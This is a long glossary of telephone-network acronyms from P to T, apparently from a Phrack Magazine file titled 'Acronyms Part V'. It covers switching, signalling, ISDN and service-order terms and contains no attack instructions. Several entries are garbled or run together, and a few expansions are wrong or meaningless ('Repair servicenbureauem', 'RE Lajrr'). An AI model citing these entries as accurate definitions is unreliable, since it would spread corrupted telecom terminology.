PMS Peripheral maintenance system pack

PMS Peripheral maintenance system packs

PMS Plant measurements system

PMS HUB Picture phone meeting service hub

PMU Precision measurement unit

PN Pseudo noise (code)

PNB Pacific northwest bell

PNL Premis number list for TN

PNP Private numbering plan (i.255 b)

PNPN Positive‑negative‑positive‑negative devices

POB Periphal order buffer

POF Programmable operator facility

POP Point of presence

PORT Remote access test ports

POS Centralized automatic message accounting positions (NTI) POS Position

POS TOPS (DMS) position (NTI)

POSN‑P Posn‑p

POSNOB OSPS position no B‑channel.

POSNRSP OSPS position no response.

POT Point of termination

POTS Plain old telephone service

POVT Provisioning on‑site verification testing

PP Post pay

PPC Pump peripheral controller

PPD Peripheral pulse distributor

PPG Precedence and preemption group

PPM Periodic pulse metering.

PPN Public packet switching

PPS Product performance surveys

PPS Public packet switching network

PPS Pulse per second

PPSN Public packet switched network

PPSRV Pre‑post service.

PPU Power providing unit

PP_D_M Point‑to‑point data maintenance

PQ Program grade customized‑service code for LATA access PR Cable pair id

PR Pair normally tip and ring

PR Protective relaying‑voice grade INTER/TRA blocal 1‑26 PRA Primary rate access

PRCA Puerto rico communications authority

PRE Previous

PREMIS Premises information system

PRFX Prefix

PRFX Prefix translations

PRI Frame priority

PRI Primary rate interface

PROC Processor

PROG Program

PROM Programmable read‑only memory

PROMATS Programmable magnetic tape system

PROT Protection

PROTEL Procedure oriented type enforcing language

PROTO Protocol circuit

PRP Periodic purging of remarks

PRP Permanent cable pair remarks

PRS Personal response system

PRT Print

PRTC Puerto rico telephone company

PRZ Preferred rate zone

PS Msc constructed spare facility INTER/TRA blocal 1‑26 PS Packet switching

PS Previously published/non‑published facility indicator PS Program store

PSAP Public safety answering point

PSC Prime service contractor

PSC Public safety calling system

PSC Public service commission

PSD Programmable scanner distribution

PSDC Public switched digital capability

PSDN Packed‑switched data network (t.70)

PSDS Public switched digital service

PSE Packet switch exchange

PSF Packet switching facility

PSGRP Packet switching groups

PSHF Peripheral equipment shelf

PSIU Packet switch interface unit

PSK Phase shift keying

PSK Phase‑shift keying

PSL IOS protocol source library

PSM Packet service module

PSM Position switching module

PSN Packet switched network

PSN Public switched network

PSO Pending service order

PSODB Packet switching on‑demand B‑channel

PSOFC Packet switching office (ISDN)

PSPDN Packed‑switched public data network

PSPH Packet switching PH/DSLG (ISDN)

PSPORT packet switching protocol handler (PH) port (ISDN) PSR Phase shift register

PSS Packet switch stream

PSS Packet switched services

PSSM Packet switching per switching module (ISDN)

PST Permanent signal time‑out

PST Permanent signal time‑out (MDII)

PST Pre‑service testing

PST Sides protocol software development

PSTG Packet switching trunk group

PSTLT Pre‑service transmission action limit table

PSTN Public switched telephone network

PSTN Public switched telephone network (t.70)

PSU Packet switch unit

PSU Packet switch unit.

PSU Program storage unit

PSUPH Packet switch unit protocol handler

PSW Program status word

PSWD Password access

PT Package time

PT Point

PT Program timer

PTAT Private trans atlantic telecommunications

PTCL Protocol

PTD Plant test date

PTR Printer

PTT Postal telephone and telegraph

PTW Primary translation word

PTY Party indicator

PTY Party number or position

PU Power units

PU Power up (C/I channel code)

PUC Peripheral unit controller

PUC Public utilities commission

PULS Message‑rate pulsing table (AMA NTI)

PULS Pulse

PULSG Pulsing

PUM Pu mode

PUMPHW Pump hardware errors

PV Protective relaying‑telegraph grade INTER/TRA blocal 1‑26 PVC Permanent virtual circuit

PVC Permanent virtual circuit (x.25 network)

PVC Permanent virtual circuits

PVN Private virtual network

PVT Private

PW Protective relaying‑signal grade INTER/TRA blocal 1‑26 PWC Premis wire center

PX Pbx station line INTER/TRA blocal 1‑26

PX Power cross.

PZ Msc constructed circut INTER/TRA blocal 1‑26

Q Report class. see table 5‑1.

Q‑CIF Quarter cif (for ISDN low end video)

QAM Quadrature‑amplitude modulation

QANN Announcements for queuing (MLHG)

QAS Quasi‑associated signaling

QEX Question an execution

QMLHG Queuing for multi‑line hunt group

QMP Quality measurement plan

QPA Quality program analysis

QRSS Quasi random signal source

QS Packet synchronous access line INTER/TRA blocal 1‑26 QSC Quad s interface circuit peb2084

QSF Queuing for simulated facility

QSS Quality surveillance system

QTAM Queued telecom access method

QTG Queuing for trunk groups

QU Packet asyncronous access line INTER/TRA blocal 1‑26 QUE Queue

R Initials and location of person reporting this trouble. R Review pending dispatch

R Ring

R&R Rate & route

R&SE Research & systems engineering

R‑GRD Ring‑to‑ground

R‑T Ring‑to‑tip

R/O Read/only

R/W Read write

R/WM Read/write memory

R1 Regional signaling system 1 (based on CCITT SS5 (2600)) R2 Regional signaling system 2 (based on CCITT SS4 (2400)) RA Rate adaption

RA Ready access

RA Remote attendant INTER/TRA blocal 1‑26

RACF Remote activated call forwarding

RAD Receive adress

RAF Recorded announcement facility

RAF Recorded announcement function

RAF Recorded announcement function (DSU2)

RAL Relay assignment list

RAM Random access memory

RAM Random‑access memory

RAND Rural area network design

RAO Regional accounting office

RAO Revenue account office

RAO Revenue accounting office

RAP Recorded announcement port.

RAP Relay assignment parameters

RAP Rotary assignment priority

RAR Return address register

RAS Release sequence number lists and related TN/OE

RAS Remote access services

RASC Residence account service center

RAT Rating

RATDBOV RATE message received indicating data base overload RATDBUN RATE message returned because data base unable to process RATGMSG RATE message received garbled

RATNBLK RATE message returned because of network blockage RATNCON RATE message returned because of network congestion RATNRTE RATE message returned because of no routing data RATTOUT RATE message returned because of timeout

RATUNEQ RATE message returned because of unequipped destination RATURPY RATE message received with an unexpected reply

RAU RSM alarm

RBEF Read block error counter for far end (IOM2 monitor command) RBEN Read block error counter for near end (IOM2 monitor command) RBHC Regional bell holding company

RBOC Regional bell operating company

RBOC Regional boc

RBOR Request basic output report

RBS Print tbs relays assignment record

RC Rate center (NTI)

RC Recent change

RC Regional center

RC Resistance‑capacitance

RC/V Recent change and verify

RC18 Rc message response ‑ 1AESS RC

RCC Radio common carrier

RCC Remote cluster controller

RCC Request corrupted CRC (in EOC)

RCC Reverse command channel

RCD Received

RCE Ring Counter Error

RCF Remote call forward

RCF Remote call forwarding

RCFA Remote call forwarding appearance (NTI)

RCI Read controller interface (IOM2 monitor command)

RCL Route clock

RCLDN Retrieval of calling line directory number

RCLK Remote clock

RCM Remote carrier module

RCMAC Recent change memory administration center

RCMG Recent change message generator

RCOSC Remote clock oscillator

RCOXC Remote clock oscillator cross couple

RCP Recent change packager

RCP Remote copy

RCR Recent change report

RCRE Receive corrected reference equivalent

RCREF Remote clock reference

RCS Recent change summary

RCSC Remote spooling communications subsystem

RCT Remote concentrator terminal

RCU Radio channel unit

RCU Repeater control unit (i.e. ASIC between two IEC‑q2s) RCV Receive

RCVR Receiver

RCW Recent change keyword

RCXC Remote clock cross couple

RDATE Release date (update database date)

RDB/RDR Recent Disconnect bussiness/resid.

RDBM Relational data base management

RDES Remote data entry system

RDFI RSM digital facilities interface

RDG Message register reading

RDS Radio digital system

RDS Reference distribution system

RDS Running digital sum

RDSN Region digital switched network

RDT Radio digital terminal

RDT Remote digital terminal

RDY Resynchonisation indication after loss of framing (C/I channel CO) RE Lajrr

RE Radiated emission (EME)

REACC Reaccess

REC Record

REC Recreate (display)

REC Regional engineering center

RED Recent change message text editor

REH Recovered history

REJ Reject (LAP‑D command/response)

REL Release (i.451)

REL Release non‑intercepted numbers by release date

REM Remote equipment module

REM Remove frame locations

REMOBS Remote observation system

REMSH Remote shell

REN Ring equivalence number

REOC Real estate operations center

REP Reprint option

REPT# Report number

REQ Required

RES Reset (C/I channel code)

RES Resistance

RES Resume (i.451)

RES Send a solicited response

RES1 Reset receiver (C/I channel code)

RET Retermination of frame locations

REV Reverse charging (i.256 c)

REV Reversed

REW Rework status

REX Reexecute a service order

REX Routine exercise.

REX Routine exerciser.

REXX Restructred extended executer language

RF Radio frequency

RFI Radio frequency interference

RID Read identification (IOM2 monitor command)

RID Remote isolation device

RISLU Remote integrated services line unit

RJ Reject

RJDT Reject date

RJR Remove jeopardy reason codes

RJR Valid reject reasons

RKW (ger pcm30) fas

RL Repeat later

RL Resistance lamp

RL Retry later

RL Return loss

RLC Release complete msg. (SS7: in SCCP)

RLCM Remote line concentrating module

RLDT Release date

RLF Re‑using dips upper bound load factor

RLG Release guard on unstable call (outgoing)

RLI Remote link interface

RLM Remote line module

RLO Automatic relay assignment present

RLOGIN Remote login

RLS Release

RLSD Released msg. (SS7: in SCCP)

RLST Release status

RLT Remote line test

RLT Remote loop test

RLY Miscellaneous relay

RM Remark

RMA Request for manual assistance

RMAC Remote memory administration center

RMAS Recent message automatic system

RMAS Remote memory administration

RMAS Remote memory administration system

RMK Hunt group remarks

RMK Remarks

RMK Remarks on cable pair

RMK Remarks on office equipment

RMK Remarks on orders

RMK Remarks on telephone number

RMM Remote maintenance module

RMP Recent change punctuation table

RMPK Remote shelf

RMR Remote message registers

RMS Remote mean square

RMS Root‑mean‑square

RMS‑D Remote measurment system‑digital

RMS‑D1 Remote measurment system‑digital signal level one RMS‑D1A Remote measurment system‑digital signal level one access RMS‑M Remote measurment system‑metallic (through SMAS) RMS‑MS Remote measurment system‑metallic small (through SMAS) RMV Remove

RMV Removed from service ‑ 1AESS remove

RN Reference noise

RN Ring node

RNA Release telephone numbers for assignment

RNG Ringing

RNGS Rings

RNMC Remote network management center

RNO Rss subentity number

RNOC Regional network operations center

RNR Receive not ready (LAP‑D command/response)

RO Receive only

RO Routine other.

ROB Remote order buffer

ROC Regional operating company

RODD Redundant ODD

ROE Reservation order establishment

ROE Rss's office equipment

ROH Receiver off hook

ROI Reservation order inquiry

ROK Republic of korea

ROM Read‑only memory

ROOT System manager for some unix os and COSMOS

ROP Receive‑only printer

ROSE Remote operation service element (TCAP subset)

ROTF Operational trouble.

ROTL Remote office test line

ROTLS Remote office testline system

ROUT Routes

ROW Reservation order withdrawal

RP Repeater

RPFC Read power feed current value (IOM2 monitor command) RPM Recent change parameters

RPO Regional procurement organization

RPOA Recognized private operating agency

RPT Repeated

RPT Report

RQ Rpntr

RQS Rate/quote system

RQSM Regional quality service management

RQST Request

RR Receive ready (LAP‑D command/response)

RRCLK Remote clock circuit pack

RRO Reports receiving office

RS Radiated susceptibiltiy (EMS)

RS Record separator (ascii control)

RS Repair service

RS Reset

RSA Repair service attendant

RSAT Reliability and system architecture testing

RSB Repair service bureau

RSB Repair servicenbureauem

RSC Remote switching center

RSC Reset confirm (SS7: in SCCP and ISUP)

RSC Residence service center

RSCS Remote source control system

RSE Remote service equipment

RSHF Remote concentration line shelf

RSIT Remote site

RSLC Remote subscriber line module controller

RSLE Remote subscriber line equipment

RSLM Remote subscriber line module

RSM Remote switching module

RSS Remote switching system

RST Reset received (outgoing)

RST Resistance test

RST Resistance test (SARTS command)

RST Restore

RST Restored to service status ‑ 1AESS restore

RSTS/E Resource system time sharing/enhanced

RSU Remote switching unit

RSY Resynchronizing (C/I channel code)

RSYD Rsy downstream

RSYU Rsy upstream

RT Radio landline INTER/TRA blocal 1‑26

RT Remote terminal

RT Remote terminal (opposite to cot)

RT04 Status of monitors ‑ ringing and tone plant‑1AESS

RTA Remote trunk arrangement

RTA Remote trunking arrangement

RTAC Regonal Technical Assitance Center

RTAC Remote a trunk assembler center

RTB Retransmission buffer

RTCA Radio technical commission of aeronautics

RTEST Tops remote test

RTF Release timeout failure

RTH Report transaction to count spare and diped line equipment RTI Route index

RTIME Release time (update database time)

RTL Resistor‑transistor logic

RTM Regional telecommunications management

RTM Remote test module

RTN Return to normal (in EOC)

RTOC Resident telephone order center

RTP Rate treatment package

RTP Remote test point (RTS‑5A)

RTPP Remote test port panel

RTR Route TReatment (GTE)

RTRV Retrieve

RTS Relay and telephone number status report

RTS Remote test unit

RTS Remote testing system

RTS Request to send

RTS SMAS remote test system located in central offices RTSE Reliable transfer service element

RTSI Receive time slot interchanger

RTU Remote trunking unit

RTU Right to use

RTZ Rate zone

RU Receive unit

RUM Remote user multiplex

RUP Request unsolicited processing

RV Review

RVDT Review date and time

RVPT Revertive pulsing transceiver

RVPT Revertive pulsing transceivers

RW Read/write permission

RWC Remote work center

RX Remote exchange

RZ Resistance zone

RZ Return to zero

Acronyms Part V

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 25 of 27

{Acronyms Part V}

S Date and time report received.

S Seconds

S Send toscreener

S Sleeve

S Start dial signal

S&E Service & equipment

S‑ Supervisory (S‑frames)

S‑N Signal‑to‑noise ratio

S/R Send/receive key

S1DN Stage one distribution network

S96 SLC 96

SA Sattelite trunk INTER/TRA blocal 1‑26 SA01 Call store memory audit results ‑ 1AESS software SAA System applications architecture (for ps/2) SABME Set asynchronous balanced mode (ABM) extended (LAP‑D command) SAC Service access connector (‑> sipb)

SAC Service area computer

SAC Special area code

SAC Switch activation

SAD System access delay

SAG Street address guide

SAI S activity indicator (in EOC)

SAI Serving area interface

SAI Summary of action items

SALI Standalone automatic location identification

SAM Subsequent address msg. (SS7: in ISUP)

SAMA Step by step automatic message accounting

SAMEM Stand‑alone billing memory

SANE Signaling area/network code (SS7)

SAP Service access point

SAPI Service access point identifier

SAR Store address register

SARTS Switch access tremote test system

SARTS Switched access remote test system

SAS Switched access service

SASWF Save all seems well failure flip flop

SAT Special access termination

SAT Supervisory audio tone

SAT System access terminal

SAW Surface acoustic wafe (filter)

SB Switched access‑standard‑service code for LATA access SBC S bus interface circuit

SBCX SBC extended

SBI Synchronous backplane interconnect

SBLN Standby line

SBMS Southwestern bell mobile service

SBS Skyline business systems

SBUC S bus connector

SC Scanner controller

SC Sectional center

SC System controller

SC/SD Scan and signal distributor

SCA Service order completion‑automatic

SCANS Software change administration and notification system SCAT Stromberg‑carlson assistance team

SCC Specialized common carrier

SCC Station cluster controller

SCC Switching control center

SCC Switching control center.

SCCP Signaling ccp (SS7: q.71x)

SCCP Signaling connection control part

SCCS Specialized common carrier service

SCCS Switching control center system

SCF Selective call forwarding

SCF Simple completion for mdf

SCH Test scheduale (command)

SCHED Scheduled

SCI Spare cable pair inquiry

SCL Station clock

SCLK Slave clock

SCM Scramble coder multiplexer

SCM Standard completion by mdf

SCM Subscriber carrier module

SCM Subscriber carrier module (DMS‑1 digital pair gain system NTI) SCO Serving central office

SCOT Stepper central office tester

SCOTS Surveillance & control of transmissions system SCP Service control point

SCP Service order completion by LAC

SCP Signal control point

SCP Signal conversion point

SCP System control program

SCPC Signal channel per carrier

SCPD Supplementary central pulse distributor

SCR Selective call rejection

SCR Signaling configuration register

SCR Standard completion by rcmac

SCRC Send corrected reference equivalent

SCRN Screening translations

SCS SCM‑10S Shelf (SLC‑96)

SCS SCM‑10S shelf (SLC‑96)

SCSDH Scanner and signal distributor handler

SCU Selector control unit

SCX Specialized communications exchange

SD Slip detected

SD Switched access‑improved‑service code for LATA access SD&D Specific development & design

SDACS Serving digital accessed and cross‑connect system SDC Sales development center

SDD Site dependent data

SDDF Subscriber digital distributing frame

SDE Submission/delivery entity (x.400)

SDIS Switched digital integrated service

SDL Specification and description language

SDLC Synchronous DLC

SDLC Synchronous data link control

SDLH Synchronous data link handler

SDM Space division multiplex

SDN Software defined network

SDN Software‑defined network

SDNBAS Call failed due to the query's being blocked at the switch SDNBN Call failed due to the query's being blocked in the CCS network SDNGTCAP Garbled TCAP message received

SDNNCANI CAMA call failed due to CAMA trunk's not providing ANI for query

SDNNCFA Call failed while the transaction with the NCP was active SDNNCFI Call failed while the transaction with the NCP was inactive SDNNOCANI CAMA call failed due to CAMA trunk's not providing ANI through ONI for query

SDNRER Call failed because to the conversation with the NCP resulted in a return error

SDNRER Call failed because to the conversation with the NCP resulting in a return error

SDNRR Call failed because to the conversation with the NCP resulted in a reject respon

SDNRR Call failed because to the conversation with the NCP resulting in a reject respo

SDNTIM Call failed due to the query's not being answered in time by the NCP

SDNTRF Call failed due to the NCP's answering with a terminate request SDOC Selective dynamic overload controls

SDP Service delivery point

SDP Submission and delivery protocol (x.411)

SDPT Signal distribution points

SDR Store data register

SDR Switch data report

SDS Switched data service

SDS Synchronous data set

SDSC Synchronous data set controller

SDT Software development tools

SE Special access wats‑access‑std‑service code for LATA access SE Special service equipment number

SEAS Signaling engineering and administration system SEAS Signalling engineering and administration systems SEC Second

SEC Signal level behind the echo canceller (C/I channel code) SEE Systems equipment engineering

SEG Segment

SEL Digital selector (in TMS)

SEL Selecting lines for an exchange class of service study SER# Seral number

SES Service evaluation system

SES Unk (administrative system)

SET Statistics on equipment and telephone numbers

SET Strategy execution table

SF Service field

SF Signal format

SF Single frequency.

SF Special access‑ WATS access line improved‑service code for LATA SF Status field (SS7)

SFB Set next febe to zero

SFD Superframe detected (C/I channel code)

SFG Simulated facilities

SFG Simulated facilities group

SFG Simulated facility group

SFG Simulated facility group (SFG) measures.

SFMC Satellite facility management center

SFN Simulated facility number

SFV Signal format verification

SFV Signaling format verification (SARTS command)

SG Control/remote metering signal grade INTER/TRA blocal 1‑26 SG Supergroup

SG Switch group (SG) (also known as half‑grid)

SGC Switching group control

SGD Failure to receive station group designator (SGD) SGH Select graphic rendition (teletex)

SGH Supply relays for groups of 5xb hunts

SGL Single

SGML Standard generic markup language

SGMP Simple gateway management protocol

SGN Common language segment number

SHI Select horizontal spacing (teletex)

SI Sequenced information

SI Service indicator

SI Shift in (ascii control)

SI Status indicator

SI Synchronous interface

SIC Silicon integrated circuit

SICOFI Signal processing codec filter

SICOFI2 2 channel sicofi

SID System identification

SIDB Session information data base

SIDES Siemens ISDN software development and evaluation system SIF Signaling information field (SS7)

SIG Signaling

SIG Signaling equipment (in a trunk)

SIGI Sigi

SIGS Signaling strobe

SILC Selective incoming load control

SILC Selective incoming load controls messages.

SIM System integrity monitor

SIN Status indication normal alignment

SIO Service information octet (SS7)

SIP Serial interface port

SIPB Siemens ISDN pc user board

SIPB 5XXX SIPB modules

SIPB 7XXX SIPB configurations

SIPMOS Siemens PMOS

SIPO 6XXX Siemens ISDN pc software object code

SIPS 6XXX Siemens ISDN pc software source code

SIR Sorting inquiry by range

SIS Special identifying telephone number supplement SIT Special identifying telephone number

SIT Special information tones

SITAC Siemens isolated thyristor AC

SITE Site assignments

SITEST Siemens ISDN protocol software test tools

SIU Subscriber line interface unit

SJ Limited switched access line‑service code for LATA access SK Skip

SK Skip option

SL Secretarial line INTER/TRA blocal 1‑26

SL Subscriber line

SLA Subscriber line adress

SLB Subscriber line busy

SLC Signaling link code (SS7)

SLC Subicer loop carrier

SLC Subscriber line counts for custom calling features SLC Subscriber loop carrier

SLD Subscriber line data (bus)

SLE Screen list editing

SLE Screening line editor

SLEN SLC line equipment number

SLIC Subscriber line interface circuit

SLIM Subscriber line interface module

SLIM Subscriber loop interface module

SLK Signaling link

SLM Subscriber line module

SLMA SLM analog

SLMD SLM digital

SLPK SLC‑96 pack

SLRF Systemiletterntenance results feature (eadas)

SLS Signaling link selection (SS7)

SLSN Unk COSMOS

SLU Special studies

SM Same

SM Sampling INTER/TRA blocal 1‑26

SM Service module

SM Speech memory

SM Switch module

SM Switching modual

SM Switching module

SM Synchronous multiplexor

SMAC Service and maintance administration center

SMAS Switched maintance access system

SMAS Switched maintance access system (provides access to the RMS‑M and RTS)

SMASF SMAS frame

SMASPU SMAS power unit

SMD Surface mounted device

SMDF Subscriber main distributing frame

SMDI Subscriber message desk interface

SMDR Station message detail record

SMDR Station message detail recording

SMDR Station message detailed recording

SMDS Switched multi‑megabit data service

SMF Sub multi frame

SMG Supermastergroup

SMM SARTS maintence manager (VAX 1/780)

SMP SARTS maintance position (TP 52a)

SMPU Switch Module Processor Unit

SMS Service management system

SMS Station management systems

SMS Switching Module System

SMSA Standard metropolitan statistical area

SMTP Simple mail transfer protocol

SMU Subscriber module urban

SMU System master unit

SN Sequence number

SN Special access termination INTER/TRA blocal 1‑26 SNA System network architecture (IBM)

SNA Systems network architecture

SNADS System network architecture distribution service SNET Southern new england telephone

SNF Serial number format

SNL Signaling link (CCS7)

SNLS Signaling link set (CCS7)

SNRS Signaling network route set (CCS7)

SNS Service network system

SO Service order

SO Shift out

SOAC Service order analysis and control

SOB Service observing assignments

SOB Service observing tag

SOC Service order cancel

SOC Service oversight center

SOCC Standard optical cable code

SOCC Switching operation control center

SODC Service order delayed completion

SOE Service order establishment

SOE Standrard operating environment

SOF Service order fix

SOH Service order history

SOH Service order withheld

SOH Start of header

SOI Service order assignment inquiry

SOI Service order image

SOL Service order listing

SOM Modify a pending service order

SONAR Service order negotiation and retrieval

SONDS Small office network data system

SONET Synchronous optical network

SORD Service order dispach

SOW Service order withdrawal

SP Signal p

SP Signal point (switching office in SS7)

SP Signal processing

SP Signal processor

SP Signaling point

SP Stimulus protocol

SPA Special access

SPACE Service provisioning and creation environment

SPAN Space physics analysis network

SPAN System performance analyzer

SPARED Line involved in ISLU sparing configuration.

SPC Signaling poiny code (SS7)

SPC Southern pacific communications

SPC Stored program control

SPC Stored program controlled

SPCR Serial port control register

SPCS Stored program control system

SPCS Stored programacontrolnsystem

SPCS COER Stored‑program control system/central office equipment report

SPCSS Stored program control switching system

SPD Speed

SPDA Supplier data program

SPFC Special purpose function code

SPH Session protocol handler

SPI Serial peripheral interface

SPINT Signal processor interrupt

SPL Split

SPM Split and monitor

SPM Split and monitor (SARTS command)

SPOC Single point of contact

SPS Split and supervise

SPS Split and supervise (SARTS command)

SPUC/DL Serial peripheral unit controller/data link

SQ Equipment only‑customer premises INTER/TRA blocal 1‑26 SQA Simulated facility group (SFG) announcement (SAQ) SQD Signal quality detector

SQL/DS Structured query language/data system

SRA Selective routing arrangement

SRAM Static ram

SRCF Single line remote call forward

SRDC Subrate data cross connect

SRDM Subrate data multiplexer

SRI Subscriber Remote Interface (RLCM)

SRI Subscriber Remote Interface pack

SRL Singing return loss

SRV Service

SRVT SCCP Routing Verification Test

SS Dataphone select‑a‑station INTER/TRA blocal 1‑26 SS Signaling system

SS Special services

SS7 Signaling system #7 (ccitt)

SSA Special service automation

SSAS Station signaling and announcement subsystem

SSB Single‑sideband

SSB Switched services bureau

SSBAM Single‑sideband amplitude modulation

SSC Specal service center

SSC Special service center

SSC Special services center

SSC Standard speech circuit psb4500/‑1

SSCP Subsystem services control point

SSD No second start dial wink

SSD No second start dial wink (MDII)

SSDAC Specal services dispach administration centers

SSF Sub service field

SSI Serial signal interface

SSN Subsystem number

SSN Switched service network

SSO Satellite switching office

SSO Satellite switching office assignments

SSP Send single pulses (C/I channel code for test mode) SSP Service switching point

SSP Service switching points

SSP Signal switching point

SSP Sponsor selective pricing

SSP Switching service points

SSP System status panel

SSPC Ssp controller

SSPRU Ssp relay unit

SSTR Selective service trunk reservation (SSTR).

SSTR Service selective trunk reservation

SSTTSS Space‑space‑time‑time‑space‑space network

SSWAP Switching services work allocation precedures (GTE) ST A signal that indicates the end of mf pulses (stop) ST Present status of telephone number

ST Self test request nt (IOM2 monitor message)

ST Start

ST Subscriber terminal

STA Station sset

STAB Station abbreviation file

STARS Sampled traffic analysis and repo ts systems STATMUX Statistical multiplexer

STB Standby

STC Service test center

STC Serving test center

STC Switching technical center

STCR Syncron transfer control register

STD Standard

STD Subscriber trunk dialing

STDM Statistical time division multiplexing

STEP Services testing evolution platfoem

STEP Sides static test of IOS and mf on board (in sitest) STKE Stack protect error

STLWS Supplementary trunk and line work station

STM Synchronous transfer mode

STN Station definition

STN Summarize telephone numbers

STOR Memory storage

STORY Screening tool for report files (IOS)

STP Self test pass (IOM2 monitor message)

STP Signal transfer point

STP Signal transfer point (SS7)

STP Stop

STRAT Strategy

STS Shared tenant service

STS Space‑time‑space network

STS Space‑time‑space switch (TMS‑TSI‑TMS)

STS Station signaling

STS Station signaling test (SARTS command)

STS Steered tenant service

STS Synchronous transport signal

STS 2060 Sicofi software

STT Telephone number status

STTP Supplementalstrunkntest panel

STTP Supplementary trunk test panel ‑ trunk testing position (1ess) STU 2000 Stand alone ISDN user board

STU 2040 Stand alone MTS user board

STU 2050 Stand alone PBC user board

STU 2060 Stand alone SICOF user board

STUDIALO PC software for STU 2xxx

STX Start of test

STX Start of text

SU Signaling unit

SU Syndes units (syncronizers‑dessyncronizers)

SU5IN Subunit 5 interrupt

SU6IN Subunit 6 interrupt

SU7IN Subunit 7 interrupt

SUB Sub switch

SUB Sub‑addressing (i.251)

SUB Substitute character (teletex)

SUBL Sublet service

SUERM Su error rate monitor

SUFX Sufix

SUM1 Summary screen

SUP Supervision

SUS Suspend (SS7: in ISUP)

SUSP Suspend (i.451)

SV Slave

SV Switched voice

SVB Serving bureau

SVC Critical service circuits

SVC Switched virtual circuit

SVC Switched virtual circuits

SVL Service observing loops

SVP Surge voltage protector various

SVS Select vertical spacing (teletex)

SVS Switched voice service

SW Switch name

SW Switched

SWB Southwestern bell

SWC Same wire center

SWC Set work code

SWEQF Switch equipment failure.

SWFC Sliding‑window flow control

SWFN Switch function file

SWG Sub working group

SWS Switch work station

SWS Switched signaling

SWS Switching signal test (SARTS command)

SWST Switch signature table

SX Simplex (mode is a PT TR connected togeather)

SX Simplex signaling

SXS Step by (X) step

SYC System control

SYN Synchronous idle

SYNDES Synchonizer/dessynchonizer

SYP Synchronisation pulse

SYS Machine number

SYS System

SYS System manager

SYSGEN System generation

SZD Seized

SxS Step‑by‑step or strowger switch

T Double wire pair

T Intials of person receiving report.

T Terminaltion

T Tip

T&A Toll and assistance

T&L Termination

T&M Talk‑and‑monitor

T&R Tip and ring

T&R Two wire phone connection

T‑ Transportfunction‑

T‑BERD T‑carrier Bit Error Rate Tester

T‑GRND Tip‑ground

T1/OS T1 carrier outstate

T1FE T1 carrier front end

TA Tandem tie‑trunk INTER/TRA blocal 1‑26

TA Terminal adaption

TA Terminal adaptor

TA Transfer allowed

TA Transfer assembly

TAB Telephone ability battery

TAC Technical assistance center

TAC Tei assignment control (IOS)

TAC Terminal access circuit

TAC Test and access circuit

TACD Telephone area code directory

TAD Test access digroup

TAG Translation administration group

TAI Tie pair assignment inquiry

TAN Technation access network

TAN Test access network

TAP Telephone assistance plan

TAP Teletex access protocol (x.430: p5)

TAP Test access path

TAP Touchtone assignment priority number

TARE Tariff table (AMA NTI)

TAS Telephone answering service

TASC Technical assistance service center

TASC Telecommunications alarm and surveillance control TASC Telecommunications alarm surveillance and control system TASI Time assignment speech interpolartion

TASI Time assignment speech interpolation system

TAT Test access trunk

TAT Test alignment of frame terminal

TAT Transatlantic telephone

TATS Trouble analysis of transmission and signaling

TAU Time assignment unit

TBL Trouble

TC Control/remote metering‑telegraph grade INTER/TRA blocal 1‑26 TC Timing counter

TC To cable

TC Toll center

TC Transaction capabilities

TC15 Reports overall traffic condition ‑ 1AESS traffic condition TCA Telephone company administration

TCAP Telecommunications alarm surveillance

TCAP Transaction (ie sdngtcap)

TCAP Transaction capabilities application part

TCAP Transaction capabilities applications port

TCAS T‑carrier administration system

TCAS T‑carrier administration system)

TCAS T‑carrier administrative system

TCC Toll control center

TCC Trunk class code

TCG Test call generation

TCIF Telecommunications industry forum

TCM Time compression multiplexer

TCM Trellis coded modulation

TCP Transport control protocol (DOD)

TCR Transient call record

TCS Terminating code screening

TCSP Tandem cross section program

TCU Timing control unit

TD Test direction

TD Tone decoders

TDAS Traffic data administration system

TDAS Translation data assemblern system

TDC Tape data controller

TDC Telex destination code (ISO 7498)

TDC Terrestrial data circuit

TDD Telecommunications device for deaf

TDF Trunk distributing frame

TDM Time division multiplex

TDMA Tdm access

TDRS Traffic datatrecorderasystem

TE Terminal equipment

TE Transit exchange (contains PSF)

TE Transverse electric

TED Text editor

TEHO Tail end hop off

TEI Terminal endpoint identifier

TELEX Teleprinter exchange

TELNET Virtual terminal protocol

TELSAM Telephone service attitude measurement

TEN Trunk equipment number

TER Terminal

TERM Terminate

TERM Terminating

TEST In test mode.

TET Display or change band filter file

TF Telephoto/facsimile INTER/TRA blocal 1‑26

TFC Transfer frame changes

TFLAP T‑carrier fault‑locating application program

TFS Trunk forecasting system

TFTP Television facility test position

TG Tip‑to‑ground

TG Translation guide

TGC Manual trunk group controls messages.

TGC Terminal group controller

TGID Trunk group id

TGMEAS Basic trunk group measurements

TGN Trunk group number

TH Trouble history

THGP Thousands groups

THL Trans hybrid loss

TI Test indication

TIA Telephone information access

TIC Telecom ic (IOM‑bus)

TICOM Treated interface common circuit.

TIDE Traffic information distributor & editor

TIG Dial transfer input generator

TIM Timing

TIMEREL Time release

TINTF The T interface is down.

TIP The installation practices

TIRKS Trunk integrated record keeping system

TK Local PBX trunk INTER/TRA blocal 1‑26

TK Trunk cable and pair number

TKT Trouble ticket file

TL Non‑tandem tie trunk INTER/TRA blocal 1‑26

TL Test line

TL02 Reason test position test was denied ‑ 1AESS traffic TLC Tail COSMOS

TLC Translate lanavar/CPS

TLI Telephone line identifier

TLK Talk

TLM Trouble locating manual

TLN Trunk line network

TLP Transmission level point

TLPU Telecommunications line processor unit

TLS Tail switch

TLTP Trunk line and test panel

TLTP Trunk line testrpanelng frame

TLWS Trunk and line work station

TM Testmode

TM Transverse magnetic

TM Trasfer modus

TM Trunk mantance

TM1 Terminal 1 (IOS)

TMA Trunk module analog

TMAS Transport maintance and administration systems

TMC Timeslot management channel

TMD Trunk module digital

TMDF Trunk main distributing frame

TME Trunk module equipment

TMMS Telephone message management system

TMPS Trunk maintenanceaposition

TMR Transient memory record

TMRS Traffic MeasuRment (GTE)

TMRS Traffic measurement and recording system

TMRS Traffic metering remote system

TMS Time mutiplexed switch

TMS Time‑multiplexed switch

TMS Time‑multiplexed switching

TMT Traffic management.

TMX Trunk module with x‑interface

TN Telephone number

TN Tone (C/I channel code: wake up signal)

TN Transaction number

TN01 Trunk diagnostic found trouble ‑ 1AESS trunk network TN02 Dial tone delay alarm failure ‑ 1AESS trunk network TN04 Trunk diag request from test panel ‑ 1AESS trunk network TN05 Trunk test procedural report or denials ‑ 1AESS trunk network TN06 Trunk state change ‑ 1AESS trunk network

